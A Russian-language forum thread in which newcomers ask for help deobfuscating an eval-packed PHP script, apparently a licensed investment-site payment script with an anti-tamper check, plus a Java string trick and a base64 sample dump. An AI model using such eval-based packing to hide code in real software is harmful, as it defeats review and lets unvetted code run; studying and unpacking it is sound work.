Добрый день! Где найти обфускатор(просто я не делал это и кто сделал нету его) и ещё извините за множество вопросов новичок в этом совсем. И ещё можно ещё помочь с этим(не понял пока как это прога работает PHP Generic Eval Unpacker) PHP: <?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E); $T7FC56270E7A70FA81A5935B72EACBE29 = 0; $T9D5ED678FE57BCCA610140957AFAB571 = 0; $T0D61F8370CAD1D412F80B84D143E1257 = 0; $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3; $T800618943025315F869E4E1F09471012 = 0; $TDFCF28D0734569A6A693BC8194DE62BF = 16; $TC1D9F50F86825A1A2302EC2449C17196 = ""; $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E); $TFF44570ACA8241914870AFBC310CDB85 = __FILE__; $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85); $TA5F3C6A11B03839D46AF9FB43C97C188 = 0; preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188); for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;) { if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit; if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) { $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]); $TDFCF28D0734569A6A693BC8194DE62BF = 16; } if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) { $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4); $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4); if ($T7FC56270E7A70FA81A5935B72EACBE29) { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257]; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } else { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } } else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]; $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1; $TDFCF28D0734569A6A693BC8194DE62BF--; if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) { $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196); $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?"; return $TFF44570ACA8241914870AFBC310CDB85; } } } } eval(T7FC56270E7A70FA81A5935B72EACBE29("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")); ?>
Где найти - не знаю, может кто-то знает, как называется, я никогда не интересовался этим. Сохраняешь скрипт в файл. Указываешь в программе путь к скрипту, нажимаешь кнопку, сбоку слева выбираешь последний в списке элемент (или по ситуации) и смотришь код в правом окне.
Добрый день помогите пожалуйста с расшифровкой скрипта. Добавил файл скриптом, т.к. не получилось добавить иначе. И еще вопрос все тут пишут замените одно на другое и запустите скрипт, у меня даже запустить не получается. Не знаю что делаю не так. Единственно, что получилось привести его в более читабельный вид, а что закодировано, так и не понял. Хелп вот скайп: solomon_fox если что пишите
Code: "lboeaZaBLAIoNJUtI.v.4q.ZK2UsxnqsiugxwEaNAe".replaceAll("[LwNZAbnIEKUxJq]","").substring(5,14); Как такое разобрать и собрать обратно? Спасибр
Помогите расшифровать base64 представленную в виде строки, размер каждого отсчета 2 байта Spoiler: Code Code: 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TgGrAb4BLAEbAXQBQAFIAbcBuQF0Ab0B9wGNAYABygGQAcEBbAInAqAB4wEYAt0BtgHWAdgB5wEpAkUC4gHaAbwBbwF0AZcBcAF/Ab8B0wFyAWkBOQHDALkACgENAfsAbQF7AdUAGgF5AckAbgCZAKcA2QA/AUMB4gAPAd0AegCWABgBSQFcAWwBGAHPAAwBFwGSAEEAtwC9AKwALwFpAe8A9wAfAZ0AVACiANYA3QBDAYgBQgH4ABEBiwBnAO0AvACtAA8BOwFBATAB+QCkAHEAyADLAL8AZAGfAecAEAEeAaIAbADZAOgA5QArAUoBMQFAAREBYABSAG8AnwASAWgBSAHHAAcB/wCkAKIA2QDBAA0BZAE9ASIBQQHxAFAAbQAGAfAAxgAsAV4B6gDrABYBdgApAIsArwDmAE4BdQFeAVkB2gBjAJ8A2wCwAM4ANgFOAQ8BGwH5AHgAggDkAOcA6AAoAR4B+gA3ATQBzAB2AJ0AkQCsAPMAMQENASkBJQG2AJYA4wDCAKUA3gAYAfwAKAElAcwAawB3AKMAzgBLAVwBAQErASMB8wDlAPAA2ADOACgBTgHsAMMAsQB4AIgA3gDSAO4ARgFKASsBXAEnAaUAawCVAI8AowAwAV0B+wDmAOsApABwAPkA3gDbAFIBdwFsAZYBPQGpAFgAnQDHACUBtgHMAXUBogGkASYB5AA/ATABNAGTAbABiQFtATIB4gD/AGUBgQGoAegB8AGVAYQBaQH3AKYAEQEsASUBggGNAToBMgEVAZUAcQC+AMEAvgANAUYBBQEdAf0AuQDKAB4BxgBzAM0A7gC5AO0A4gCCAKYAMQHeALoA9QDCAKAA9wDyAHEAkwByAfIBDgKhAlEDhwPrAwMEEAS9BHcFawVlBVUFMQVwBBsEWwNjAgwCNALaAbYBzgHoAasBYQE/AesAsAASAfEAEQGXAYcBzgA+AU8B2wCgAJ4AVwCDACABIQHMANIA7wCtAIUA1wC2AHMArAACAfYAFgECAXUALADTAMkA2AAoAUwBBgFWAWYBJAEQAQUBZAD+/6UAXwE8ATUBSwG9AJQA5ACrAMUAYQGVATYBNgE3AboAZgCGAIoAtwByAe8BXwEkAUgB9ADHAB0BAQEIAWYBpgFCAUYBKgHrAOYAUAFMAXwB2wHZAXQBawF9AUEBOAGpAYwBZgHQARIC5AHoAewBiAEuAZsB0gENApkCuAICAkcCbAL4AaEBBwLoAQICqQLUApUCvgLuAmcCOgKBApQCRAJkAowCRgKeArUCFwKbAdMB9QErAmUCVALyAQUC9AGIAUsBmgFTAVkB0QHwAWABewG4AQ4BrwDzAKUA0ABNAZoBggFbAQUBkABVANcA9gDiADoBUgH6ABMB7wCgAMUA7wC5ALYAGAEeAc4ALAFCAcUAaQCzALIAvQBXAaIBOAELAdEAQgAZAHcAggDGAD0BQwEEASQBIQF3ADsApADWAAEBcwFoARYB9wCcAFcAKQB3AJIArwAhAaQBTAFRAWUB5wBEACIAGACcAAEB8wByAJsAtAC0AL0A8ADgAAABHgE0Ae8A/gAeAUAAxf9eAL4A+wBpAWAB8wAnASQBxgB1AGoAMwBfAPcAQgH/ABQB+ACOAFMAjACUALIA9QBEAZcAcACXAIwAhQDHAKkAxAAyAXAB0wCdAJIAVQB+AKwAhQC/ACkBMAHsAJUAkQCLALwAHQGRAEcAwwDsAJ0AfAC/AMEAkACZAJkAyQABAeIAbAB7AJoAhABxAMQAsgCQAPcAUQEFAesA+gCeAG0AowBtAIEAHAGnARoBrQDFAKEAuwAaAQYB/AA2AXIBFwEgAUoB5QCkABEBMQHVAFcBywFhAU8BbwEGAeMAHgHZALsAEQF0ASEBIwFlASoBrwC/AHwAbADyADQB7wD+AAwB2gCpAMgAbQBMALUAIgHaAM0AxQBvABwAUAB3AHwAuwALAcQAkwB2AD0AYwAIAQoBrACOALAAYABrAIoAqQD9AG8BQwEfAhcDhAOTAxwEhQR7BFgEngSyBMsEzgRZBB4DZgIgAq0BUAF3AWkBPwGkAcIBEQH/AC8B2wCBAKgApwCmAOAA7wCNAI8ArgClAMgAywB1AIUAyQAUAb8AwwDSAGYAMQCdAIgAVADbADsBygDlACgBpQBHAHgAhAB7ALYA7gC5AKAAkwCSAHUAtwAsAFEACgEfAeoA4gDCAFgAIQCXALkAtgAqAV0BFgERAdkAbgBuALsAmgCsAN0APAEsAUYBrAEnAXgA0QDvAK8ACAFmASYBJwEOAaQAhwDLAOgArAAGAcEBjAFIAVwBBQHEAHEBXAFWAcABJgIHAg4CDgI2ASIBaQF8AXsBzAFFAhACHAIoAvEBygH0AeUB4gF2ArUCPQJOAiwCwAGoAfcB+QHRAVACtgJxAkQCYQLPAXABpwGrAYUBwgEXAmYBcgGRARsB5AAYAQQBBwFfAY0BTAH9AFUB1wBnAK8AowChANQADwGbAKkAygBPAP//bwC+ANAA6QAeAZQAhwD6AKoAggC3ALEAfQCeANAAwAC3AJwAVABfALkAtwCBALcAQwENAeAAygBwAEQAVgBrAJkA+AAtAXAAbQCmAIkAUgBSAIgAUQCNAAIB+QCqAKUAqwBNAKoAowCLALoA1wDQALIApwBmAP//VwB7AH4AxwAGAdEAlwCRAHQAXACYAI4AdADVAC4B+QDuAOYAjAATAB8ALwALAIYAFQGxAJQAxQCQAEgAiQCuAGMAmwD1AJ0AWQCuAI0ATgBqAFoAJwB4ABQB1ADNAKMAJQAAAFMAZwBNAJsACwHZAM8A2QCjAHQAjgChAGEAfwCoACgALgCrAGAAAgBVAJIAVACcAOMAcgBjALMAkwBwAI4ARQBKAL0AOQHXAJIAoQBlACkAcACWAHQApAAPAdMA2QDVAHcAPQCjAM4AnQDPAE0B7ACjAMcApgCgAOEA1gDvACMBYAHzANgA/ACiAGYA3gAWAf4AVgGHAT8BFQEHAXYAPQBwAG4AeADSADIBKQHSAIcAegBWAF4AaABKAJcArwCIAJIAwQBKANP/JABqAE0AXQDcAKsAWgCYAHIA4f8FAEwAOgB5AOwAkgBTAGsAPwBTAAIBkwH9Ab0CRwNgA5IDBQQtBDgEsgSdBEkEPQQ+BDYDpwJuAusBfwHEAcEBPgFaAWEB5gCjALAAVQD8/zYAdQBrAMIAEwG5AM4A6wCNAA4AKgAnADEAbwDJAIoAegBYADIA3P8gAHIAagCbAPIAqABvAMsA0wCEAIgAVgAUAFMAugBuAEUAmQCbAEMAWwCcAI0A7gA3AcEAhACPAFAARQCkAK0AYAB9AMgAdwBcAKMAggBMAJAAnABnAKoAGgHIAKkA9wDRAIEAswDxAJ4AswAqAeUA+AAeAaIAfgD8ABcBxQDgAEYBVAFpAaQBQQH8AAoBCQHDACEBxgG+AagBrwEWAdcAfwHBAYMBswH9AeUB1gH0AcsBvAEEAiMC1QH4AT8CBwLwATICFALEAfkBBQLyAf8BRQJPAjECNQLAAUMBkAFhAS4BTwGqAYIBTAFcASIBrQDsAAMBxwAGAWsBNAGyAN0AwgBpAJwAzwCRAKgA7QC/AIkAtwCKAFsAmQDCAFEAaQDyAPUAsQDFAI8AWQBCAHEAiwCqAN4AsACSAOYArgBdAIkAxQBwAFkA0gD5AL4AmABYACEAZwCYAIsAoQDqAKkAigDVAH0A8v8IAEYARgCsABwB7QClAMQAiwA8AEwAbwA7AGQA1gDCAM4AHAHHACcAAwBBAE4AfgDuAPEAxADlAIoAGwCLAJsAMgBhAKcAmQBJAHwAiwBLAGsAkABYAFEAkACCAIEAtQCHAFMAaAB6ADYAZgC0AIsAfwC5AFcADABcAKUAKAA8APcAqACgAO4AqABLAHAAbABUAHYAsQCcAJoAqQBBAAoAOgA/ABQATADEALgArgDuAIsA3//n/xUABABrANUAxQDMAPkAvgA+ACEANAAbAG4A+wDYAJgAmQBUAPD/MgBtAEkAcQDeALUAVQB+AGIAbgDMAI8ASQCpABQBCwHBAOsAiwAwADsAWQAfAIYAFAHLALYAGAERAbYA7QBRAf0A7gBOAQgBAQE6AfMAkACmAAwBDQEdASwB7wDKAA4B7QBrAIUAwQC1APsAgQE1AdQApQBUAOL/8f8sAE8ArQAUAcYAeABjAHAAJQD4/0wAXQCNAOcAsgCiAOUAggD0/xYALwD0/xgAxgC0AHkAdwBIAFQA0AAtAS4B0AFtAowC+ALuAw8E/QPCBDIF+gTdBMIENwSkA0UDqgIUAu8B7gGOAXgB1AGdAUsBSgHjAG0AcQCBAHgAxAAdAeIAdQBqADwAIgBOAI0AgQCLAO0A4QCUAIkASAAPAGAApQCGAI8AvACFAEYAUgBKAA0AUAClAGsAmgDiAKoApQDYAJ0ANABIAGMAUwBIALMA9ADaALAAQQDQ/ygAkwBZALYASwHvAHUA6QDsAGYAfQCkAFkAVADVAPMApQC6ALMAhwDjAPsAvgD6AEkBMAHeAPgA8wDDAAUBAQG/AOkAMQEJAcEANQH8AMYA+wBHAToBjAHXAaUBYQGIAScB/gBRAW8BYQGyATUCCQLJAQgCoAFaAWUB5wERAlgCggIyAgUCUAIXAtMB6AEOAukBEAJ+AlsCOQJ8AgcCawG1AeQBpwG4AeIBwAGfAbgBdQH1ANoABQHRAOAAOgFHAR4BTAHkAHcAZQDMAKkAtgAYAf4AlAD2AKMALgBHAJAAZgCQAP4ANAEkAQgB0wCIAI4AZgAbADwA1QDJAGEAmACqAEwAWACUAEsApwAEAeMAsQC8AGgACAArAGcADgCBAOMAkQCDABIBAgGCAG0AiQA9AGQAyQCuAI0AvACJADUAZgCsAKIAvwDwALkAgACTAKMAGwD1/1EANACCAK4AlgB/AMAAfgAJAE4ApQC8ALMAyACxAGoAtwCJAPX/GgCiAGMAcADJANgAnADAAH8ANwBSAGwAQABOAJUAjgCcALMAZQAiAD0AYgBCAIIA8QDPAEYARQAUANr/IgCPAGoAewD6AAEBrgC6AEkAw//p/yMAGwAwAJ4A6gC8AKoAUAAeAD4AsQBeAHcA4wDKAGEAggAmAMj/4P9vAGUAogAGAbsAWwCIAHYARQA3ACUAYgBgAKYAlwAuAFIANQD0/zEAcgBRAHYAyAClAHEAeABaABEAFABDAGsAfQC+ANcAgwCWAIwAKwAxAFMAJwA/AKEApABpAI4AqQA/ADcAjABzADgAmQCeABsAnQCdAFAAQwA9AOj/QACxAL8AZwCiAIsABwDa/zkAFAAkAOAAFAHJAPQABAG3AJsA3ACWANEAKwEBAcsA1ACmAHYAagDFAL0ADgF0AU8ByQAIAc0AeQCfANAAnwDrAH0BlAH/AOoAyABsAHkAvwCnAPQAJgHxAMoAkAA+AAUAFwBvAFsAagCOAGkAMgB3AHsAAQDn/4AAYAA7AKoAyACAAI0AYAATAOb/FQD6/zUA0ACfAIgAZgD7//X/YADlAAoBvQGlAgQDRQPbAw8EXwT9BHYFbAUYBfoEjgR0Aw0DZALGAbgB5AF9AV8BkwGFARcB+ADDAFMAMgCaAIAAlwAcAfwAbABmAGoAOAAyAFEA+f8uAKUAtwB+AKgAjwAdAAkAVABQAIMAmgCPAEMAggByACsALgByABUAFgCuAOwAqACSAFcA9v/y/1wASgBRAMEAzgBOAGAAaAAgAFEAwACTAJAA4ADFAJcA5wCmAEcAXQBsAAwANgDKAPAAtgCyAI8AawBXAJYArADTACEBGgHCAMsAsAB1AKEAAAG5ANwACQH+APEACgHsALgAugDxANcANgG6AaoBSgGEAaYBagFeAZcBZgEqAXoB2QHDASICFQJbAREBegFuAd4BqALUAngCEQIDAr0BvQH0Ac4BzQE/AisCCwJcAisCwAFpAXIBRwGAAeYB8wGfAawBjQEqAQ4BKgEXAQ0BXAFDAa4A6ADpAGUAcgCMAGYAmgC7AMkAowDZAMYAUQAPAIQAlQBfAL8A0ACrANEAvAA8AAAAPgAvAEsApwCYAJEA2gAIAXUAAAA3ADsAOABiAJEAkADEAM8AXwAnAJwAbQBFAHAAjABoAKQAcAAEAB4AoQCUAHEAagCVAEgAmADEADoABQBdABcAGACfALIAVQCZAHQA/v/f/z8AKwBaAL4ApQCFAOsA3gByAD8AgAB3AE8ALQBxAHUAeQA/AAgANAB2AFgAWADFAMMAUwBzAGkAGQDk/zEAJQAnAHoAjgA4AFIAPwDo/9j/awA8ACMAhQDNAIIAiACuAFsAHwBMADoASQCnAOAAjACIAEMA5f8nACMA9f/t/1AAnABpAIgAUQDd//v/XABmAD0AWgCGAE4AgACRABAA1v8VAAsALwBqAGwAHwBxAIYAIwAEAGQASAAQAJAAsQBGAIgAjQD5/+X/QAAcADsAqACYAC8AawCTAB8A0v8dAAMAIgCFAKsANQBQAFoAIA